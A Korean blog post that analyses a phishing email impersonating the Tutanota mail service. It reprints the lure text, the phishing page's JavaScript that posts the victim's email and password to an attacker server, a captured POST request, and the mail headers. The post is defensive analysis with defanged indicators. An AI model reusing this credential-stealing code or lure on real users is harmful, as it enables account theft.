꿈을꾸는 파랑새

오늘은 Tutanota(투타노타) 사칭하는 피싱 메일 분석을 해보겠습니다. 일단 Tutanota는 암호화 이메일 서비스이며 종단간 암호화 방식을 사용하며 회사와 서버는 독일에 있습니다. 무료 계정으로는 1GB의 용량을 제공하고 그 이상의 용량은 당연히 유료입니다. 보안을 위해서 POP3나 IMAP은 지원하지 않으며 암호화 방식은 일반적으로 많이 쓰는 PGP를 쓰지 않고 아닌 자신들이 별도로 개발한 방식을 하는 것이 특징입니다. 일단 개인적으로 블로그에 해당 메일을 공개해놓으니까 이런 피싱 메일들이 오는 것 같습니다.
일단 해당 피싱 메일의 내용은 다음과 같습니다.

Tutanota(투타노타) 피싱 사이트
Tutanota(투타노타) 피싱 사이트

Hi m26pershing,
Password Expiry notice!
You need to retain or change your password now to avoid login issues with
all apps related to your account.
Follow the button below to retain current password.
KEEP SAME PASSWORD
To opt out or change where you receive security notification,
go to  tutanota(.)com email settings.
We apologize for any inconvenience
Thanks,
tutanota(.)com
Admin Service

이걸 대충 한국어로 번역하면 다음과 같습니다.

안녕 m26pershing,
비밀번호 만료 주의!
계정과 관련된 모든 앱의 로그인 문제를 피하려면 지금 비밀번호를 유지하거나 변경해야 합니다.
현재 암호를 유지하려면 아래 버튼을 따르십시오.
같은 암호 유지
보안 알림 수신을 거부하거나 변경하려면 tutanota(.)com 이메일 설정으로 이동하세요.
불편을 끼쳐 죄송합니다.
감사해요,
tutanota(.)com
어드민 서비스

한마디로 너~비밀번호 만료 다 되어 가니 접속을 해서 비밀번호 변경을 하라고 하는 방식을 사용하고 있습니다.
일단 해당 메일을 보낸 주소는 다음과 같습니다.

Tutanota(투타노타) 피싱 사이트 인증서 정보
Tutanota(투타노타) 피싱 사이트 인증서 정보

noreply@pobox(.)com

자~일단 공식 이메일이 아닌 것이 눈에 보입니다.
그리고 해당 메일의 헤더를 보면 다음과 같습니다.
일단 해당 피싱 메일에서 계정 정보를 훔치기 위한 주소는 다음과 같습니다.

피싱 메일 이메일 해더 내용
피싱 메일 이메일 해더 내용

https://bafybeie5adetm2uwtldauab26fvvgmsjjnmdzkji37mmri77inrvjwofqi.ipfs.dweb(.)link/
south.html#m26pershing@tutanota(.)com

일단 해당 주소에서는 기본적으로 이메일 주소가 포함된 것을 확인할 수가 있습니다.
그리고 해당 사이트에 접속하면 다음과 같은 글이 있는 것을 확인할 수가 있습니다.

Sign in to continue
This is a very important security measure, For email account protection. Your account may be restricted until you can verify your identity.
계속하려면 로그인하세요.
이것은 이메일 계정 보호를 위해 매우 중요한 보안 조치입니다. 신원을 확인할 수 있을 때까지 계정이 제한될 수 있습니다.
즉 간단하게 너~이메일 비밀번호 가르쳐 줘 이런 뜻이겠습니다.
웹 소스를 보면 개인정보를 탈취 후 전송하는 JavaScript 코드가 포함돼 있습니다.

피싱 사이트로 전송을 위한 JavaScript 코드
피싱 사이트로 전송을 위한 JavaScript 코드

///////////new injection////////////////
      count=count+1;
    //  console.log(count); 
	var d=atob('aHR0cHM6Ly8xdGhhc2hjb2luLmNvbS9hc3NldHMvb28ucGhw');
	   $.ajax({
        dataType: 'JSON',
		url: 'https://sloby.duckdns(.)org/server/fred.php',
        type: 'POST',
        data:{
          email:email,
          password:password
        },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr){
              $('#submit-btn').html('Sign in');
			  
    //  console.log(count); 
            },
            success: function(response){
			 $('#msg').html("<span style='color:red;'>Username or Password is incorrect. Please try again</span>");
              if(response){
                $("#msg").show();
				console.log(response);
				$('#msg').html(response['msg']);
                if(response['signal'] == 'ok'){
                  $("#password").val("");
                  if (count>=3) {
                    count=0;
                    // window.location.replace(response['redirect_link']);
                    window.location.replace("https://ipfs.fleek(.)co/ipfs/QmNUrjFHGJk7orzrNZqG15rBZxCDmHa8r56doYTDJggcuB/complete.html");

                  }
                  // $('#msg').html(response['msg']);
                }
                else{
                   $('#msg').html(response['msg']);
                }
              }
            },
            error: function(){
              $("#password").val("");
              if (count>=3) {
                count=0;
                window.location.replace("https://ipfs.fleek(.)co/ipfs/QmNUrjFHGJk7orzrNZqG15rBZxCDmHa8r56doYTDJggcuB/complete.html");
              }
              $("#msg").show();
              // $('#msg').html("Please try again later");
            },
            complete: function(){
              $('#submit-btn').html('Sgn in');
            }
          });  
    });


    });

해석을 하면 다음과 같습니다.
주어진 코드는 JavaScript 코드입니다. 이 코드는 AJAX를 사용하여 서버에 POST 요청을 보내는 부분
POST 요청은 https://sloby.duckdns(.)org/server/fred.php 주소로 전송됩니다.

요청의 데이터로는 email과 password 가 사용 해당 데이터는 사용자가 입력한 이메일 주소와 비밀번호로 채워집니다.
요청 전송 전에 beforeSend  콜백 함수가 실행되며 해당 함수에서는 #submit-btn 요소의 내용을 Sign in으로 변경
요청이 성공하면 success 콜백 함수가 실행
응답 데이터는 JSON 형식으로 받아옵니다. 응답에 따라 사용자에게 메시지가 표시되며 응답의 signal 값이 ok 이었으면 password  필드가 지워지고 count 값이 3 이상이면 https://ipfs.fleek(.)co/ipfs/QmNUrjFHGJk7orzrNZqG15rBZxCDmHa8r56doYTDJggcuB/complete.html ` 주소로 페이지가 이동됩니다.
요청이 실패한 경우에는 error 콜백 함수가 실행 마찬가지로 count 값이 3 이상이면 https://ipfs.fleek(.)co/ipfs/QmNUrjFHGJk7orzrNZqG15rBZxCDmHa8r56doYTDJggcuB/complete.html 주소로 페이지가 이동
마지막으로 요청이 완료되고 complete 콜백 함수가 실행 #submit-btn 요소의 내용이 다시 Sign in 으로 변경
잘못된 로그인 시도 횟수(count)가 3 이상이면 페이지가 외부 주소로 리디렉션 해당 경우 사용자는 악의적인 사이트로 유도 즉 피싱 공격을 실행합니다. 그리고 HTTP Debugger Pro로 보면 Tutanota(투타노타) 사용자가 비밀번호를 입력하면 해당 비밀번호가 전송된 것을 확인할 수가 있습니다. 그리고 어차피 올바른 개인정보를 입력했다고 해도 너 비밀번호 틀렸다. 라는 메시지를 볼 수가 있습니다.
Email or password is incorrect
그리고 웹 소스를 보면 확실하게 알 수가 있습니다.

Cerbero Suite Advanced 본 eml 파일 정보
Cerbero Suite Advanced 본 eml 파일 정보

<span style="vertical-align: middle; padding-left: 5px; text-transform: capitalize;font-weight: semi-bold;color: #514c4cd6;
" class="logoname"></span> <br><br>     <p><span style="font-size: 20px;color:gray;">Sign in to continue</span></p>
              <span style="font-size: 15px;color:brown;">This is a very important security measure, For email account protection.
Your account may be restricted until you can verify your identity.</span><div></h2>
      <center>
	  <input type="hidden" id="code" value="9389">
          <div class="alert alert-danger" id="msg" style="display: none;">Email or password is incorrect</div>
          <span id="error" class="text-danger" style="display: none;">That account doesn't exist. Enter a different account</span>
        </center>
        <div class="form-group">
          <div class="input-group">
            <span class="input-group-addon"><i class="fas fa-user"></i></span>
            <input type="email" class="form-control" name="username" placeholder="Username" value="" id="email" readonly>
          </div>
        </div>

그냥 쉽게 설명을 하면 다음과 같습니다.
<div class="alert alert-danger" id="msg" style="display: none;">Email or password is incorrect</div>: 해당 요소는 오류 메시지를 표시하는 경고 창을 표시
Email or password is incorrect 라는 텍스트를 포함하고 있고 사용자가 잘못된 이메일 주소나 비밀번호를 입력했을 때 메시지 표시
<span id="error" class="text-danger" style="display: none;">That account doesn't exist. Enter a different account</span>: 해당 요소는 오류 메시지를 나타내는 문구
That account doesn't exist. Enter a different account라는 텍스트를 포함하고 있으며 사용자가 존재하지 않는 계정을 입력했을 때 이 메시지가 나타냄
그리고 해당 피싱 사이트는 다음 주소 계정 정보와 이메일을 보냅니다.

https://sloby.duckdns(.)org/server/fred.php

HTTP Debugger Pro 로 본 피싱 사이트로 개인정보 전송
HTTP Debugger Pro 로 본 피싱 사이트로 개인정보 전송

그리고 해당 부분을 자세하게 보면 다음과 같습니다.

POST /server/fred.php HTTP/1.1
Host: sloby.duckdns(.)org
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://bafybeie5adetm2uwtldauab26fvvgmsjjnmdzkji37mmri77inrvjwofqi.ipfs(.)dweb.link
DNT: 1
Connection: keep-alive
Referer: https://bafybeie5adetm2uwtldauab26fvvgmsjjnmdzkji37mmri77inrvjwofqi.ipfs.dweb(.)link/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Accept-Encoding: gzip, deflate
Content-Length: 49
email=m26pershing%40tutanota.com&password=123TEST

그리고 이메일 헤더를 까보면 다음과 같습니다.

Authentication-Results: w10.tutanota(.)de (dis=spam; info=dmarc default policy);
	dmarc=fail (dis=spam p=quarantine; aspf=r; adkim=r; pSrc=config) header.from=pobox(.)com
Received: from w4.tutanota(.)de ([192.168.1(.)165])
        by tutadb.w10.tutanota(.)de
        with SMTP (SubEthaSMTP 3.1.7) id LI2X1PSD
        for ?????@tutanota(.)com;
        Thu, 25 May 2023 11:12:49 +0200 (CEST)
Received-SPF: Neutral (mailfrom) identity=mailfrom; client-ip=45.150.65(.)37; helo=pamgolding.co(.)za; envelope-from=noreply@pobox(.)com; receiver=<UNKNOWN> 
Received: from pamgolding.co(.)za (unknown [45.150.65(.)37])
	by w4.tutanota.de (Postfix) with ESMTP id 72F35106015D
	for <??????@tutanota(.)com>; Thu, 25 May 2023 09:12:47 +0000 (UTC)
Received: from pobox(.)com (localhost [IPv6:::1])
	by pamgolding.co(.)za (Postfix) with ESMTP id 5B88C2D8839
	for <??????@tutanota(.)com>; Thu, 25 May 2023 05:10:59 -0400 (EDT)
From: tutanota(.)com Service <noreply@pobox(.)com>
To: ??????@tutanota(.)com
Subject: Password Expiry notice!

Authentication-Results:해당 부분은 이메일의 인증 결과표시 여기서는 이메일이 DMARC (도메인 기반 메시지 인증, 보고 및 준수) 정책을 통과하지 못했다고 나와 있음
DMARC 정책은 인증 검사에 실패한 이메일을 격리 처리
이메일은 스팸으로 표시되었으며, header(.)from 도메인으로 pobox(.)com이 식별
Received: 해당 부분은 이메일 전송에 관여한 이메일 서버에 대한 정보를 제공
이메일이 보내는 서버에서 받는 서버까지의 경로를 보여줍니다. 이 경우 이메일은 w4.tutanota(.)de 에서 IP 주소 192.168.1(.)165 로 tutadb.w10.tutanota(.)de 서버에 받아짐
Received-SPF: 해당 부분은 발신자 정책 프레임워크(Sender Policy Framework, SPF) 검사 결과 표시 SPF는 이메일 스푸핑을 방지하기 위해 이메일을 보내는 서버가 지정된 도메인을 대표하여 메시지를 보낼 수 있는지 확인 해당 경우 SPF 검사는 Neutral 상태로 표시 SPF 검사가 명시적으로 통과하거나 실패하지 않았음을 나타냄
발신자의 IP 주소는 45.150.65(.)37 이고, helo (SMTP 핸드셰이크)에서 사용된 도메인은 pamgolding.co(.)za
Received: 해당 부분은 이메일이 pamgolding.co(.)za에서 IP 주소 45.150.65(.)37로 받아 들여졌음을 나타냄
받는 서버는 w4.tutanota(.)de 이며 시간대는 Thu, 25 May 2023 09:12:47 +0000 (UTC)
From: 해당 부분은 이메일의 발신자를 지정
발신자의 이름은 tutanota(.)com Service이며 사용된 이메일 주소는 noreply@pobox(.)com
To: 해당 부분은 이메일의 수신자 이메일 주소를 지정
Subject: 이메일의 제목은 Password Expiry notice!
Date: 이메일이 보내진 날짜와 시간은 25 May 2023 11:10:34 -0700
그리고 za 를 사용을 하는 곳은 남아프리카 공화국 입니다.
이렇게 간단하게 피싱 메일에 대해 분석을 해 보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band